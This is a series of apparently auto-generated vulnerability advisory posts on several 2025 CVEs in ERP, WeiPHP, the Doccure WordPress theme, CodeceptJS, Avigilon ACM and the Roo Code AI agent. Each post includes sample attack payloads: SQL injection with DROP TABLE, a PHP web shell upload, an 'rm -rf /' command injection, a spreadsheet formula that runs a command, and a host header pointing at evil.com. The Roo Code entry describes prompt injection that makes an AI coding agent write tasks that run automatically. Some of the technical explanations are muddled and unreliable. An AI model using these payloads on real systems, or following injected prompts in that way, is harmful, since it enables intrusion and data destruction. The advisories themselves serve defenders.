Author: Ameeba

CVE-2025-58439: Critical SQL Injection Vulnerability in ERP
Overview

The CVE-2025-58439 is a severe SQL Injection vulnerability that resides within the ERP, a free and widely used open-source Enterprise Resource Planning tool. This vulnerability affects versions below 14.89.2 and from 15.0.0 through 15.75.1 of the software. Given the widespread usage of ERP, this vulnerability has the potential to impact many businesses across different sectors, thereby posing a significant threat to data security.
The importance of this vulnerability lies in its potential to compromise systems or leak sensitive data. Hence, it’s crucial for businesses and organizations using affected versions of ERP to take immediate action to mitigate this threat.

Vulnerability Summary

CVE ID: CVE-2025-58439
Severity: Critical (8.1 CVSS v3 Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

ERP | < 14.89.2 ERP | 15.0.0 through 15.75.1 How the Exploit Works

The CVE-2025-58439 vulnerability stems from the ERP tool’s lack of parameter validation in some of its endpoints. This shortcoming allows attackers to send specially crafted requests with malicious SQL commands. These commands can manipulate the database to retrieve sensitive information, such as software version details. In a worst-case scenario, this vulnerability can lead to system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability using a malicious SQL command in a POST request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "'; SELECT VERSION(); -- " }
```
In this example, the attacker is injecting a SQL command (`SELECT VERSION()`) into the request. The semicolon (`;`) marks the end of one command and the start of another, and the two hyphens (`–`) indicate a comment, causing the database management system to ignore the rest of the malicious payload.

Mitigation Guidance

Users of vulnerable versions of ERP are strongly advised to update their software to version 14.89.2 or 15.76.0, in which this issue has been fixed. If immediate software update is not possible, users can temporarily mitigate the threat by using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to block malicious requests. However, these are only temporary measures, and the ultimate solution is to update the software to a non-vulnerable version.
September 13, 2025
CVE-2025-55849: SQL Injection Vulnerability in WeiPHP v5.0 and Earlier Versions
Overview

The cybersecurity world is abuzz with the discovery of a new vulnerability in WeiPHP v5.0 and before, tagged as CVE-2025-55849. WeiPHP is a popular open-source framework used by programmers to build applications. However, this vulnerability may allow an attacker to manipulate SQL queries, leading to unauthorized access to sensitive data, and potential system compromise. Given the widespread use of WeiPHP, the impact of this vulnerability is potentially far-reaching, affecting numerous applications and by extension, organizations and their users.

Vulnerability Summary

CVE ID: CVE-2025-55849
Severity: High (CVSS:8.4)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Unauthorized access to sensitive data, potential system compromise

Affected Products

Product | Affected Versions

WeiPHP | v5.0 and before

How the Exploit Works

The vulnerability stems from insufficient sanitization of user-supplied inputs in the ‘SucaiController.class.php’ file. An attacker can exploit this by injecting malicious SQL code into the application’s query string. This results in the application unknowingly running the malicious SQL query, which can lead to unauthorized access to sensitive data, modification of data, or even system compromise.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit the vulnerability. Suppose the application accepts a parameter ‘template_id’ in the URL to fetch some data:
```
GET /SucaiController.class.php?template_id=100 HTTP/1.1
Host: vulnerable.example.com
```
An attacker could substitute ‘100’ with a crafted SQL statement:
```
GET /SucaiController.class.php?template_id=100;DROP%20TABLE%20users; HTTP/1.1
Host: vulnerable.example.com
```
This could lead to the ‘users’ table being dropped from the database if the application directly includes the ‘template_id’ parameter in a SQL query without sanitizing it first.

Mitigation Steps

To mitigate this vulnerability, users are advised to apply the patch provided by the vendor as soon as it’s available. In the interim, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to detect and block SQL Injection attacks. Additionally, developers should always sanitize user inputs before including them in SQL queries to prevent such injection attacks.
September 13, 2025
CVE-2025-52389: Insecure Direct Object Reference Vulnerability in Envasadora H2O Eireli – Soda Cristal
Overview

The recent discovery of a significant vulnerability in Envasadora H2O Eireli – Soda Cristal v40.20.4 has raised serious cybersecurity concerns. This flaw, designated as CVE-2025-52389, exposes users to potential system compromise and data leakage. As an Insecure Direct Object Reference (IDOR) vulnerability, it allows authenticated attackers to manipulate HTTP requests to gain unauthorized access to sensitive data. Given the widespread use of the affected software, this vulnerability poses a significant threat to user privacy and data security.

Vulnerability Summary

CVE ID: CVE-2025-52389
Severity: High, with a CVSS score of 8.8
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Unauthorized access to sensitive data, potential system compromise

Affected Products

Product | Affected Versions

Envasadora H2O Eireli – Soda Cristal | v40.20.4

How the Exploit Works

The exploit takes advantage of an IDOR vulnerability. In this scenario, an attacker with authenticated access can manipulate the parameters of an HTTP request to reference objects (data files, user accounts, etc.) that they should not have access to. The system fails to properly verify the user’s authorization before processing the request, thus granting the attacker access to sensitive data.

Conceptual Example Code

Here’s a hypothetical example of how an HTTP request might be crafted to exploit this vulnerability:
```
GET /user_data?id=12345 HTTP/1.1
Host: vulnerable-website.com
Authorization: Bearer <attacker's legitimate token>
{ "user_id": "67890" }
```
In this example, the attacker is using their valid session token but changes the ‘user_id’ in the request to that of another user. The server mistakenly trusts the session token and returns sensitive data for user 67890, despite the request coming from the attacker.

Mitigation and Prevention

The best course of action is to apply the vendor’s patch as soon as possible. In the meantime, or if patching is not immediately feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These can be configured to detect and block suspicious HTTP requests that may be attempting to exploit this vulnerability. Furthermore, developers should enforce strict access controls and ensure proper authorization checks are in place to prevent such vulnerabilities.
September 13, 2025
CVE-2025-9112: Arbitrary File Upload Vulnerability in Doccure WordPress Theme
Overview

The Doccure theme for WordPress, a popular theme used by numerous websites globally, contains a serious vulnerability that could potentially compromise the integrity and confidentiality of the affected systems. This vulnerability, known as CVE-2025-9112, involves a flawed file type validation in the ‘doccure_temp_file_uploader’ function. This flaw allows an attacker with merely subscriber-level permissions to upload arbitrary files onto the server, predisposing the system to possible remote code execution. Given the widespread use of WordPress and the Doccure theme, this vulnerability could affect a significant number of websites, posing substantial risk to the data and system security.

Vulnerability Summary

CVE ID: CVE-2025-9112
Severity: High (8.8 CVSS)
Attack Vector: Network
Privileges Required: Low (Subscriber-level permissions)
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Doccure WordPress Theme | All versions up to, and including, 1.4.8

How the Exploit Works

The ‘doccure_temp_file_uploader’ function within the Doccure theme for WordPress doesn’t correctly validate file types during the upload process. An authenticated attacker with subscriber-level permissions could leverage this flaw to upload arbitrary files, including PHP files or other types that could be executed on the server. Since the server hosts these malicious files, it becomes feasible for the attacker to execute remote code, which could lead to system compromise and data leakage.

Conceptual Example Code

Below is a conceptual HTTP request demonstrating how the vulnerability might be exploited:
```
POST /wp-admin/admin-ajax.php?action=doccure_upload_temp_file HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
This example illustrates the upload of a PHP file ‘exploit.php’, which could later be executed by navigating to its location on the server.
The current mitigation strategy is to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. It is crucial that users update their Doccure WordPress theme to the latest version to protect their systems from potential exploitation.
September 13, 2025
CVE-2025-9114: Critical Arbitrary User Password Change Vulnerability in Doccure WordPress Theme
Overview

Critical security vulnerabilities are an ongoing issue for web-based applications, and WordPress themes are no exception. This blog post will delve into the specifics of the CVE-2025-9114 vulnerability discovered in the Doccure theme for WordPress. This vulnerability leaves websites using this theme exposed to potential system compromise or data leakage. It is of particular concern because it allows unauthenticated attackers to bypass authorization, change user passwords, and potentially take over administrator accounts.

Vulnerability Summary

CVE ID: CVE-2025-9114
Severity: Critical (9.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Doccure WordPress Theme | Up to and including 1.4.8

How the Exploit Works

The vulnerability stems from the Doccure theme providing user-controlled access to system objects. This effectively allows a user to bypass authorization protocols that are meant to prevent unauthorized system access. Specifically, an unauthenticated attacker can take advantage of this vulnerability to change user passwords, even those of administrator accounts. This ability to alter passwords could potentially allow the attacker to take over these accounts, leading to a full system compromise.

Conceptual Example Code

Consider the example of an unauthenticated HTTP POST request to an endpoint responsible for password changes. By crafting a malicious JSON payload, an attacker could potentially change a user’s password:
```
POST /password/change HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"username": "admin",
"new_password": "malicious_password"
}
```
In this conceptual example, the attacker targets the “admin” account and sets a new password (“malicious_password”), effectively taking over the admin account.

Recommended Mitigation

The best mitigation for this vulnerability is to apply the vendor patch as soon as possible. If an immediate patch cannot be applied, temporary mitigation can be achieved by implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious traffic attempting to exploit this vulnerability. It is highly recommended to take action immediately to prevent potential system compromise or data leakage.
September 13, 2025
CVE-2025-9113: Arbitrary File Upload Vulnerability in Doccure WordPress Theme
Overview

In the ever-evolving landscape of cybersecurity, a new and critical vulnerability has surfaced that threatens vast numbers of websites powered by WordPress. This blog post serves to inform developers, administrators, and other stakeholders about the specifics of the vulnerability CVE-2025-9113, its potential impact, and measures to mitigate it.
This vulnerability lies in the Doccure theme for WordPress and allows for arbitrary file uploads, which can lead to remote code execution. The severity of this vulnerability cannot be understated, as it can potentially allow unauthenticated attackers to compromise a system or cause data leakage.

Vulnerability Summary

CVE ID: CVE-2025-9113
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

Doccure Theme for WordPress | Up to and including 1.4.8

How the Exploit Works

The ‘doccure_temp_upload_to_media’ function in Doccure WordPress theme is vulnerable due to a lack of file type validation. This vulnerability allows an attacker to upload arbitrary files to the server hosting the affected WordPress site.
The absence of an authentication mechanism for this function means that any user, authenticated or not, can exploit this vulnerability. After a successful exploit, the attacker can execute the uploaded file, leading to potential system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit the vulnerability using an HTTP POST request to upload a malicious payload.
```
POST /path/to/doccure_temp_upload_to_media HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
```
In this example, an attacker uploads a malicious PHP file (`exploit.php`) which, when executed, allows them to run arbitrary commands on the server.

Mitigation

To mitigate this vulnerability, apply the vendor’s patch as soon as it is available. If a patch is not yet available or cannot be applied immediately, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Regularly update your systems and use secure coding practices to minimize the risk of such vulnerabilities.
September 13, 2025
CVE-2025-57285: Critical Command Injection Vulnerability in CodeceptJS 3.7.3
Overview

In this blog post, we delve into the details of a critical vulnerability that has been identified in CodeceptJS version 3.7.3, more specifically in the emptyFolder function (lib/utils.js). This vulnerability, known as CVE-2025-57285, can potentially compromise systems or lead to data leakage. It is of paramount importance to developers, system administrators, and cybersecurity professionals who use or manage systems that run on CodeceptJS 3.7.3. A low barrier to exploitation and a high impact make this vulnerability a significant threat that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-57285
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

CodeceptJS | 3.7.3

How the Exploit Works

The vulnerability is a result of the execSync command in the emptyFolder function directly concatenating the user-controlled directoryPath parameter without any form of sanitization or escaping. This permits an attacker to inject arbitrary commands that the system then executes. By exploiting this vulnerability, an attacker can manipulate the application and the system it resides on, giving the attacker the potential ability to compromise the system or leak sensitive data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. To illustrate, an attacker could provide a shell command as the directoryPath parameter:
```
const CodeceptJS = require('CodeceptJS');
const directoryPath = 'any_directory; rm -rf /'; // The injected command that deletes all files in the root directory
CodeceptJS.emptyFolder(directoryPath);
```
In this example, the command injection vulnerability is exploited to delete all files in the root directory of the server where the CodeceptJS application is running. This is a conceptual demonstration and the actual exploitation may vary based on the specific application context and system configuration.
Remember, it is crucial to apply the vendor patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.
September 13, 2025
CVE-2025-56267: Critical CSV Injection Vulnerability in Avigilon ACM v7.10.0.20
Overview

The cybersecurity landscape is fraught with vulnerabilities that can be exploited to compromise systems and leak valuable data. One such vulnerability, CVE-2025-56267, presents an alarming concern for users of the Avigilon ACM v7.10.0.20. This vulnerability is a severe CSV injection flaw located in the /id_profiles endpoint, enabling attackers to execute arbitrary code and potentially compromise the system or leak data. This vulnerability affects all systems running this version of the software, highlighting the need for immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-56267
Severity: Critical (9.8 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Avigilon ACM | v7.10.0.20

How the Exploit Works

The exploit works by injecting malicious code into a crafted Excel file which is then uploaded to the /id_profiles endpoint of the Avigilon ACM v7.10.0.20. Since the system does not adequately sanitize the CSV file inputs, the injected code gets executed, potentially leading to system compromise or data leakage. The high severity score of 9.8 underscores the significant impact and ease of exploit.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
POST /id_profiles HTTP/1.1
Host: target.example.com
Content-Type: application/vnd.ms-excel
DATA:
C12: =cmd|'/C calc'!A0
```
In this example, the exploit uses a standard formula injection technique to call the command line calculator application, which demonstrates the ability to execute arbitrary commands on the system.

Recommended Mitigation

The most effective mitigation for this vulnerability is to apply the vendor-patched update. If that is not immediately possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These tools can help detect and block malicious payloads, mitigating the immediate risk. However, these should only be seen as temporary solutions until the vendor patch can be applied.
September 13, 2025
CVE-2025-56266: Host Header Injection Vulnerability in Avigilon ACM
Overview

CVE-2025-56266 is a significant cybersecurity vulnerability discovered in the Avigilon Access Control Manager (ACM) software version 7.10.0.20. This vulnerability has the potential to affect a wide range of entities, from small businesses to large corporations, that use the Avigilon ACM for their access control needs. The vulnerability’s severity lies in its ability to allow attackers to execute arbitrary code through a carefully crafted URL, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56266
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Avigilon ACM | v7.10.0.20

How the Exploit Works

The exploit takes advantage of a Host Header Injection vulnerability. This type of vulnerability arises when the server trusts the host header and uses its value in a security-critical way. In this case, an attacker can manipulate the host header by supplying a crafted URL. This manipulation can lead to arbitrary code execution, providing the attacker with access to the system.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request where an attacker crafts a malicious payload in the URL:
```
GET / HTTP/1.1
Host: www.victim-site.com:80@evil.com
```
In this example, the attacker has manipulated the host header to redirect the request to ‘evil.com’ while the server thinks it is serving ‘www.victim-site.com’. This can potentially allow the attacker to execute arbitrary code by injecting it into the ‘evil.com’ site.

Mitigation

The most effective way to mitigate this vulnerability is by applying the vendor-released patch, which addresses the Host Header Injection vulnerability in the specified version of Avigilon ACM. In the meantime, before the patch can be applied, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. This can help to monitor and block suspicious activities, thus reducing the chance of a successful exploit.
September 13, 2025
CVE-2025-58372: Roo Code Vulnerability Leading to Arbitrary Code Execution
Overview

A significant vulnerability has been identified in the AI-powered autonomous coding agent, Roo Code, that could potentially compromise system security or cause data leakage. This vulnerability, known as CVE-2025-58372, pertains to versions 3.25.23 and below of Roo Code, and it affects all users who have not yet updated their software. This issue is of great concern as it can enable attackers to execute arbitrary code, potentially leading to a full system compromise.

Vulnerability Summary

CVE ID: CVE-2025-58372
Severity: High (CVSS score 8.1)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Roo Code | Versions 3.25.23 and below

How the Exploit Works

The exploit takes advantage of a vulnerability in Roo Code where certain VS Code workspace configuration files (.code-workspace) are not as protected as the .vscode folder. If the agent was configured to auto-approve file writes, an attacker able to influence prompts (for example via prompt injection) could cause malicious workspace settings or tasks to be written. These tasks could then be executed automatically when the workspace is reopened, leading to arbitrary code execution.

Conceptual Example Code

Consider the following pseudocode as a conceptual example of how the vulnerability might be exploited:
```
# Attacker injects malicious prompt
inject_prompt("malicious.task")
# Roo Code auto-approves the file write
approve_file_write("malicious.task")
# Malicious task is written into workspace settings
write_to_workspace("malicious.task")
# When workspace is reopened, malicious task is automatically executed
reopen_workspace_execute_task("malicious.task")
```
In this example, the attacker injects a malicious task via a prompt. Roo Code, if set to auto-approve file writes, approves the write of the malicious task. The task is then written into the workspace settings. When the workspace is reopened, the malicious task is automatically executed, leading to arbitrary code execution.

How to Mitigate the Vulnerability

The most effective way to mitigate this vulnerability is by applying the vendor patch. Roo Code has addressed this issue in version 3.26.0, so updating to this version or later will fix the vulnerability. As a temporary solution, users may also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent potential attacks exploiting this vulnerability. However, these are not long-term solutions and it is strongly recommended to apply the vendor patch as soon as it becomes available.
September 13, 2025